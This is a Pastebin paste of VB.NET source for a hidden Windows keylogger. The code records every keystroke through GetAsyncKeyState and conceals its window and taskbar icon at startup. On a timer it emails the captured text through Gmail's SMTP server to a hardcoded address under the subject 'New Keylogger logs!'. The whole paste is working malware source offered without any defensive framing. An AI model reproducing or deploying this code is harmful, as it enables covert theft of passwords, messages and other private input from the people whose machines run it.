Guest User

Vbscript - By Ahmad Wolf

a guest
Mar 21st, 2015
340
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.32 KB | None | 0 0
  1. Option Strict On
  2. Imports System.Net.Mail
  3. Public Class Form1
  4.     Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
  5.     Private Sub TmrEmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TmrEmail.Tick
  6.         Try
  7.             Dim SmtpServer As New SmtpClient
  8.             SmtpServer.EnableSsl = True
  9.             Dim Mail As New MailMessage
  10.             SmtpServer.Credentials = New Net.NetworkCredential("[email protected]", "password2")
  11.             SmtpServer.Port = 587
  12.             SmtpServer.Host = "smtp.gmail.com"
  13.             Mail = New MailMessage
  14.             Mail.From = New MailAddress("[email protected]")
  15.             Mail.To.Add("[email protected]")
  16.             Mail.Subject = ("New Keylogger logs!")
  17.             Mail.Body = txtLogs.text
  18.             SmtpServer.Send(Mail)
  19.  
  20.         Catch ex As Exception
  21.             Me.Close()
  22.         End Try
  23.     End Sub
  24.  
  25.     Private Sub TmrKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TmrKeys.Tick
  26.         Dim result As Integer
  27.         Dim Key As String
  28.         Dim i As Integer
  29.  
  30.         For i = 2 To 90
  31.             result = 0
  32.             result = GetAsyncKeyState(i)
  33.             If result = -32767 Then
  34.                 Key = Chr(i)
  35.                 If i = 13 Then Key = vbNewLine
  36.                 Exit For
  37.             End If
  38.         Next i
  39.  
  40.         If Key <> Nothing Then
  41.             If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
  42.                 txtLogs.Text &= Key
  43.             Else
  44.                 txtLogs.Text &= Key.ToLower
  45.  
  46.             End If
  47.         End If
  48.  
  49.         If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso Key = "H" Then
  50.             Me.Visible = True
  51.         End If
  52.     End Sub
  53.  
  54.     Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
  55.         txtLogs.Text &= vbNewLine & "Keylogger stopped at: " & Now & vbNewLine
  56.     End Sub
  57.  
  58.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  59.         Me.ShowInTaskbar = False
  60.         Me.ShowIcon = False
  61.         Me.Visible = False
  62.         txtLogs.Text = "KeyLogger Started at: " & Now & vbNewLine
  63.     End Sub
  64. End Class
Add Comment
Please, Sign In to add comment